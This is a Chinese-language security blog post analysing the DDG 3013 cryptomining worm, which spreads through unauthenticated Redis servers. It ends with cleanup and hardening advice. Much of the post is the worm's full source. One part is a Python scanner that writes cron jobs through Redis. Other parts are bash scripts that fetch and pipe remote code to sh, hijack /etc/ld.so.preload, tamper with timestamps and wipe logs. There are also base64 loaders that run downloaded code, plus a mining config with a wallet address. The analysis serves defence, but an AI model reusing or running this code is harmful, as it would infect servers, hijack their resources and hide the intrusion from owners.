Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

DDG 3013 变种: 基于 Redis 未授权访问的挖矿蠕虫简要分析

wpadmin~September 11, 2018 /InfoSec

DDG 3013 变种: 基于 Redis 未授权访问的挖矿蠕虫简要分析

前言
受限于缺乏针对 elf 文件的分析能力,对一些逻辑的跟踪仍有一定猜测成分,仅供参考。

Contents

正文

事情的起因

阿里云主机提供了一些恶意命令执行告警,定位到如下命令

# 告警1
python -c import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))
# 告警2
/bin/sh -c /bin/chmod 755 /usr/bin/curl && /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh

尝试跟踪 告警1 和 告警2 的代码,涉及大量中间文件(不过很多都只是base64一下),进行一些简单的梳理后,发现比较重要的三个文件。

1 https://pastebin.com/raw/nYBpuAxT (基于 Python 的扩散对 Redis 未授权访问的利用)
2 https://pastebin.com/raw/Gw7mywhC (在 Linux 中添加各种 crontab, 劫持so, 尽可能保证持久驻留)
3 i.sh, (下发 ELF 挖矿文件)

nYBpuAxT

蠕虫式传播, 最大线程数为 20 线程
获取当前主机 IP, 据此构造出相关 B段 的IP 列表。
并扫描当前主机 (略大于)B段 (涉及 IP 数量是 655360 ) 的其他主机的 6379 端口。

关键攻击载荷

使用 Redis 的备份配置文件命令,将相关内容写入 /var/spool/cron/root 文件中。
借此使用计划任务执行命令, 其中 */1 * * * * 指的是每分钟执行一次相关命令

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((self.host, 6379))
s.send('set backup1 "\\n\\n\\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
s.send('set backup2 "\\n\\n\\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
s.send('config set dir /var/spool/cron\r\n')
s.send('config set dbfilename root\r\n')
s.send('save\r\n')
s.close()

原始完整文件 https://pastebin.com/raw/nYBpuAxT

#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib

IP_LIST = []

class scanner(threading.Thread):
    tlist = []
    maxthreads = 20
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host):
        threading.Thread.__init__(self)
        self.host = host
    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            s.connect((self.host, 6379))
            s.send('set backup1 "\\n\\n\\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
            s.send('set backup2 "\\n\\n\\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
            s.send('config set dir /var/spool/cron\r\n')
            s.send('config set dbfilename root\r\n')
            s.send('save\r\n')
            s.close()
        except Exception as e:
            pass
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

    def newthread(host):
        scanner.lck.acquire()
        sc = scanner(host)
        scanner.tlist.append(sc)
        scanner.lck.release()
        sc.start()

    newthread = staticmethod(newthread)

def get_ip_list():
    try:
        url = 'ident.me'
        conn = httplib.HTTPConnection(url, port=80, timeout=10)
        req = conn.request(method='GET', url='/', )
        result = conn.getresponse()
        ip2 = result.read()
        ips2 = findall(r'\d+.\d+.', ip2)[0][:-2]
        for u in range(0, 10):
            ip_list1 = (ips2 + (str(u)) +'.')
            for i in range(0, 256):
                ip_list2 = (ip_list1 + (str(i)))
                for g in range(0, 256):
                    IP_LIST.append(ip_list2 + '.' + (str(g)))
    except Exception:
        pass

def runPortscan():
    get_ip_list()
    for host in IP_LIST:
        scanner.lck.acquire()
        if len(scanner.tlist) >= scanner.maxthreads:
            scanner.lck.release()
            scanner.evnt.wait()
        else:
            scanner.lck.release()
        scanner.newthread(host)
    for t in scanner.tlist:
        t.join()

if __name__ == "__main__":
    runPortscan()

Gw7mywhC

核心流程如下

update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )
if [ ${update}x = "update"x ];then
    echocron
else
    if [ ! -f "/tmp/.tmph" ]; then
        rm -rf /tmp/.tmpg
        python
    fi
    kills
    downloadrun
    echocron
    system
    top
    sleep 10
    port=$(netstat -anp | grep :13531 | wc -l)
    if [ ${port} -eq 0 ];then
        downloadrunxm
    fi
    echo 0>/var/spool/mail/root
    echo 0>/var/log/wtmp
    echo 0>/var/log/secure
    echo 0>/var/log/cron
fi

首先检查格组件是是否有更新,有更新就会执行echocron替换相应的落地文件。

kills() 函数
1 杀死本木马老版本的进程
2 删除 grub deamon 和 disk_genius (也可能是伪装的其他木马)
3 杀死其他挖矿程序的进程
4 删除其他挖矿程序的文件
5 杀死启用特定疑似挖矿端口的进程

downloadrun()函数 (无ELF分析能力,半猜测)
配置挖矿木马的守护进程

echocron() 函数
写入各种 crontab 目录,便于复活。

system() 函数
下载挖矿木马关键程序并执行。
https://pastebin.com/raw/Fj2YdETv 地址内容

# https://pastebin.com/raw/Fj2YdETv
(curl -fsSL https://pastebin.com/raw/JNPewK6r || wget -q -O- https://pastebin.com/raw/JNPewK6r)|base64 -d|/bin/bash

top() 函数
以 so 文件劫持 (/etc/ld.so.preload) 的方式执行挖矿木马,是更隐蔽的执行方式。
详细资料需要参考

如果只是想要覆盖一个库文件的某些函数,但保留其余的内容,可以将覆盖库文件名(.so 后缀文件)保存至 /etc/ld.so.preload 文件中。这些覆盖库文件会比标准库文件优先读取,这通常用于紧急的版本补丁。

downloadrunxm() (无ELF分析能力,半猜测)
配置矿池相关的配置文件 /bin/config.json
配置挖矿木马的守护进程
原始完整文件 https://pastebin.com/raw/Gw7mywhC

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
y=$(netstat -anp | grep kworkerds | wc -l)
if [ ${y} -eq 0 ];then
    netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
fi
}

function system() {
    if [ ! -f "/bin/httpdns" ]; then
        curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns
        if [ ! -f "/bin/httpdns" ]; then
            wget  https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns
        fi
        if [ ! -f "/etc/crontab" ]; then
            echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
        else
            sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
        fi
    fi
}

function top() {
    mkdir -p /usr/local/lib/
    if [ ! -f "/usr/local/lib/libntp.so" ]; then
        curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
        if [ ! -f "/usr/local/lib/libntp.so" ]; then
            wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
        fi
    fi
    if [ ! -f "/etc/ld.so.preload" ]; then
        echo /usr/local/lib/libntp.so > /etc/ld.so.preload
    else
        sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload
    fi
    touch -acmr /bin/sh /etc/ld.so.preload
    touch -acmr /bin/sh /usr/local/lib/libntp.so
}

function python() {
    nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
    touch /tmp/.tmph
}

function echocron() {
    echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/system
    echo -e "*/23 * * * *   (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * *   (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
    if [ ! -f "/etc/cron.hourly/oanacron" ]; then
        wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
    fi
    mkdir -p /etc/cron.daily
    curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
    if [ ! -f "/etc/cron.daily/oanacron" ]; then
        wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
    fi
    mkdir -p /etc/cron.monthly
    curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
    if [ ! -f "/etc/cron.monthly/oanacron" ]; then
        wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
    fi
    touch -acmr /bin/sh /var/spool/cron/root
    touch -acmr /bin/sh /var/spool/cron/crontabs/root
    touch -acmr /bin/sh /etc/cron.d/system
    touch -acmr /bin/sh /etc/cron.d/root
    touch -acmr /bin/sh /etc/cron.hourly/oanacron
    touch -acmr /bin/sh /etc/cron.daily/oanacron
    touch -acmr /bin/sh /etc/cron.monthly/oanacron
}

function downloadrun() {
    ps=$(netstat -anp | grep :13531 | wc -l)
    if [ ${ps} -eq 0 ];then
        if [ ! -f "/tmp/kworkerds" ]; then
            curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
            if [ ! -f "/tmp/kworkerds" ]; then
                wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds
            fi
                nohup /tmp/kworkerds >/dev/null 2>&1 &
        else
            nohup /tmp/kworkerds >/dev/null 2>&1 &
        fi
    fi
}

function downloadrunxm() {
    pm=$(netstat -anp | grep :13531 | wc -l)
    if [ ${pm} -eq 0 ];then
        if [ ! -f "/bin/config.json" ]; then
            curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json
            if [ ! -f "/bin/config.json" ]; then
                wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
            fi
        fi
        if [ ! -f "/bin/kworkerds" ]; then
            curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
            if [ ! -f "/bin/kworkerds" ]; then
                wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
            fi
                nohup /bin/kworkerds >/dev/null 2>&1 &
        else
            nohup /bin/kworkerds >/dev/null 2>&1 &
        fi
    fi
}

update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )
if [ ${update}x = "update"x ];then
    echocron
else
    if [ ! -f "/tmp/.tmph" ]; then
        rm -rf /tmp/.tmpg
        python
    fi
    kills
    downloadrun
    echocron
    system
    top
    sleep 10
    port=$(netstat -anp | grep :13531 | wc -l)
    if [ ${port} -eq 0 ];then
        downloadrunxm
    fi
    echo 0>/var/spool/mail/root
    echo 0>/var/log/wtmp
    echo 0>/var/log/secure
    echo 0>/var/log/cron
fi
#
#
#

i.sh

1 首先将自己写入 /var/spool/cron/root/var/spool/cron/crontabs/root, 保证不断重复执行。
*/15 * * * *, 执行的频率是每 15 分钟一次。
2 根据系统架构,会下载对应的 ELF 挖矿木马 ddgs.x86_64ddgs.i686, 重命名为 /tmp/ddgs.3013 并执行。
3 杀死其他竞争对手的进程。

原始文件 http://149.56.106.215:8000/i.sh

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
    wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

溯源相关信息 config.json

涉及的恶意代码片段

wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod +x /bin/config.json

config.json 内容如下

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "av": 0,
    "background": false,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 0,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 100,
    "pools": [
        {
            "url": "stratum+tcp://xmr.f2pool.com:13531",
            "user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": 1
        }
    ],
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "threads": null,
    "user-agent": null,
    "watch": false
}

总结

蠕虫特点

值得注意的蠕虫手段

1 利用 /etc/ld.so.preload 进行隐蔽感染
2 滥用合法的图片上传服务 http://thyrsi.com/t6/365/1535595427x-1404817712.jpg
3 使用 Pastebin 构建 可更新 的恶意软件家族

应急响应方面的提示

1 测试一些清理方案时,可以在 虚拟机/沙箱 中先进行尝试。
2 Redis 未授权访问漏洞存在时,攻击者还很有可能通过写 ssh登录密钥 来进行远程登陆操作。
3 此外,存在该漏洞的机器,还有很大可能性会被 删库勒索 , 可以参考阿里云的预警 – 删库跑路加勒索,Redis勒索事件爆发

清理方案

1 将 Redis 服务关闭,并设置密码。
在 redis.conf 中找到 “requirepass” 字段,在后面填上你需要的密码,Redis 客户端也需要使用此密码来访问 Redis 服务,之后重启 Redis 服务,验证密码是否生效。
注意要使用强度较高的 Redis 密码,因为该木马也有简单的爆破功能,以扩大传播范围。

2 清理定时任务 (先清理定时任务,再删除挖矿病毒本体,防止再生)

# 包括但不限于
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/system
/etc/cron.d/root
/etc/cron.hourly/oanacron
/etc/cron.daily/oanacron
/etc/cron.monthly/oanacron
/etc/cron.monthly/oanacron

3 删除相关动态链接库

# 包括但不限于
/etc/ld.so.preload
/etc/libjdk.so
/usr/local/lib/md.so
/usr/local/lib/screen.so
/usr/local/lib/y.so

3 结束掉挖矿和 DDG 母体相关进程

ps -ef | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg|kworkerds' | awk '{print $2}' | xargs kill -9

4 然后删除相应的恶意程序,主要在临时目录下。另外建议用 find/locate 再找一下如下关键字qW3xT, ddg*, wnTKYg, 2t3ik 等, 尽可能清理干净。

# 包括但不限于
/tmp/qW3xT
/tmp/ddgs.3013
/tmp/ddgs.3012
/tmp/wnTKYg
/tmp/2t3ik
/tmp/kworkerds

参考资料

1 威胁快讯:DDG 3013 版本 – 360 Netlab
http://blog.netlab.360.com/a-fast-ddg-3013-analyze/

2 DDG 挖矿最新变种分析报告 – 深信服
http://www.freebuf.com/articles/system/180385.html

3 记录阿里云服务器被minerd和kworkerds感染作祟
https://blog.csdn.net/lang363/article/details/82354830

4 记一次redis病毒分析笔记
https://www.cnblogs.com/mondol/p/9592056.html

5 阿里云 centos 服务器 长期 cpu100%,无法通过top、ps等命令找出占cpu进程?
https://www.zhihu.com/question/59820313

6 Linux 共享库指南 # 库文件是怎样被使用的
http://liaoph.com/linux-shared-libary/

7 预警| 删库跑路加勒索,Redis勒索事件爆发
wechat_link

后续补充

8 事件分析 | 一起攻击者利用 Redis 未授权访问漏洞进行新型入侵挖矿事件 – 腾讯 云鼎实验室
wechat_link

9 Xbash勒索挖矿样本分析 – 深信服 北京 千里目安全实验室
wechat_link

Leave a Reply

Your email address will not be published. Required fields are marked *